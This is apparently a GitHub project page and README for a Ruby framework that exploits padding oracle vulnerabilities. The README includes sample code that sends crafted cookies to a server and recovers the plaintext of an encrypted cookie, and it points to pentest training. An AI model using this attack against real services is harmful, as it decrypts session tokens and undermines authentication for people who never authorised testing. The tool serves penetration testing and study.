https://github.com/technion/paddingoracle

Ruby framework for exploiting padding oracle vulnerabilities
https://github.com/technion/paddingoracle

Last synced: about 2 months ago
JSON representation

Ruby framework for exploiting padding oracle vulnerabilities

• Host: GitHub
• URL: https://github.com/technion/paddingoracle
• Owner: technion
• License: mit
• Created: 2017-04-06T04:34:03.000Z (almost 8 years ago)
• Default Branch: master
• Last Pushed: 2017-07-11T11:01:14.000Z (over 7 years ago)
• Last Synced: 2024-10-31T14:25:12.758Z (2 months ago)
• Language: Ruby
• Size: 8.79 KB
• Stars: 6
• Watchers: 3
• Forks: 0
• Open Issues: 0
• Metadata Files:
  • Readme: README.md
  • License: LICENSE.txt

Awesome Lists containing this project

README

        
# Paddingoracle

This is a Rubyframework for exploiting padding oracle vulnerabilities based on this fantastic Python project:

https://github.com/mwielgoszewski/python-paddingoracle

## Build status

[![Build Status](https://travis-ci.org/technion/paddingoracle.svg?branch=master)](https://travis-ci.org/technion/paddingoracle)

## Usage

You will first need to extend the module with your own padding_oracle function. Example:

```

require 'httparty'

require 'base64'

require 'uri'

URL = 'http://google.com'

module Paddingoracle

  def decrypt_oracle(string)

    string = URI.escape(Base64.strict_encode64(string))

    response = HTTParty.get(URL, cookies: {auth: string})

    raise "Invalid padding" if response.code != 200

  end

end

```

You can then run the attack like this;

```

Blocksize = 8

COOKIE = 'vulnerable encrypted data'

bcookie = Base64.decode64(COOKIE)

plain = Paddingoracle::recover_all_blocks(bcookie, Blocksize)

puts plain

```

## Contributing

This product was written to solve a specific problem - I'm happy to investigate bugs but this type of codebase is not suited to new features or "how to use" requests.

If you are interested in this tool, we highly recommend the training at [PentesterLab](pentesterlab.com), which includes a vulnerable service relevant to this tool.

## License

The gem is available as open source under the terms of the [MIT License](http://opensource.org/licenses/MIT).